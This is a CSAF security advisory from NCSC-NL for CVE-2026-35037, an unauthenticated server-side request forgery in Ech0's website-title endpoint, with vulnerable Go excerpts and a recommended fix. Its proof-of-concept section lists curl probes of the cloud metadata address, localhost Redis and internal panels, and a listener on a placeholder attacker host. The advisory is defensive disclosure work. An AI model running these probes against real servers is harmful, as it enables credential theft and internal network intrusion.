{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-35037",
        "tracking": {
            "current_release_date": "2026-04-03T03:48:09.865237Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-35037",
            "initial_release_date": "2026-04-03T03:41:42.522173Z",
            "revision_history": [
                {
                    "date": "2026-04-03T03:41:42.522173Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-03T03:41:52.426655Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                }
            ],
            "status": "interim",
            "version": "2"
        }
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-35037",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction.\n\n## Details\n\nThe vulnerability exists in the interaction between four components:\n\n**1. Route registration — no authentication** (`internal/router/common.go:11`):\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/website/title\", h.CommonHandler.GetWebsiteTitle())\n```\nThe `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group(\"/api\")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`).\n\n**2. Handler — no input validation** (`internal/handler/common/common.go:106-127`):\n```go\nfunc (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {\n    return res.Execute(func(ctx *gin.Context) res.Response {\n        var dto commonModel.GetWebsiteTitleDto\n        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }\n        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)\n        ...\n    })\n}\n```\nThe DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:\"required\"` — no URL scheme or host validation.\n\n**3. Service — TrimURL is cosmetic** (`internal/service/common/common.go:122-125`):\n```go\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    ...\n}\n```\n`TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix(\"/\")`, and `TrimSuffix(\"/\")`. No SSRF protections.\n\n**4. HTTP client — unrestricted outbound request** (`internal/util/http/http.go:53-84`):\n```go\nclient := &http.Client{\n    Timeout: clientTimeout,\n    Transport: &http.Transport{\n        TLSClientConfig: &tls.Config{\n            InsecureSkipVerify: true,\n        },\n    },\n}\nreq, err := http.NewRequest(method, url, nil)\n...\nresp, err := client.Do(req)\n```\nThe client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.\n\nThe response body is parsed for `<title>` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.\n\n## PoC\n\n**Step 1: Probe cloud metadata endpoint (AWS)**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'\n```\nIf the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.\n\n**Step 2: Probe internal localhost services**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'\n```\nProbes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.\n\n**Step 3: Exfiltrate data from internal web services with HTML title tags**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'\n```\nIf the internal service returns an HTML page with a `<title>` tag, its content is returned to the attacker.\n\n**Step 4: Confirm with a controlled external server**\n```bash\n# On attacker machine:\npython3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandler\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('Content-Type','text/html')\n        self.end_headers()\n        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')\nHTTPServer(('0.0.0.0',9999),H).serve_forever()\" &\n\n# From any client:\ncurl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'\n```\nExpected response contains `\"data\":\"SSRF-CONFIRMED\"`, proving the server made an outbound request to the attacker-controlled URL.\n\n## Impact\n\n- **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.\n- **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.\n- **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security.\n- **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.\n- **Data exfiltration**: Partial response content is leaked through the `<title>` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.\n\nThe attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.\n\n## Recommended Fix\n\nAdd URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`:\n\n```go\nimport (\n    \"net\"\n    \"net/url\"\n)\n\nfunc isPrivateIP(ip net.IP) bool {\n    privateRanges := []string{\n        \"127.0.0.0/8\",\n        \"10.0.0.0/8\",\n        \"172.16.0.0/12\",\n        \"192.168.0.0/16\",\n        \"169.254.0.0/16\",\n        \"::1/128\",\n        \"fc00::/7\",\n        \"fe80::/10\",\n    }\n    for _, cidr := range privateRanges {\n        _, network, _ := net.ParseCIDR(cidr)\n        if network.Contains(ip) {\n            return true\n        }\n    }\n    return false\n}\n\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n\n    // Validate URL scheme\n    parsed, err := url.Parse(websiteURL)\n    if err != nil || (parsed.Scheme != \"http\" && parsed.Scheme != \"https\") {\n        return \"\", errors.New(\"only http and https URLs are allowed\")\n    }\n\n    // Resolve hostname and block private IPs\n    host := parsed.Hostname()\n    ips, err := net.LookupIP(host)\n    if err != nil {\n        return \"\", fmt.Errorf(\"failed to resolve hostname: %w\", err)\n    }\n    for _, ip := range ips {\n        if isPrivateIP(ip) {\n            return \"\", errors.New(\"requests to private/internal addresses are not allowed\")\n        }\n    }\n\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    // ... rest unchanged\n}\n```\n\nAdditionally, consider:\n1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69`\n2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding\n3. Adding rate limiting to this endpoint",
                    "title": "github - https://api.github.com/advisories/GHSA-cqgf-f4x7-g6wc"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                }
            ],
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-cqgf-f4x7-g6wc"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-cqgf-f4x7-g6wc"
                }
            ],
            "title": "CVE-2026-35037"
        }
    ]
}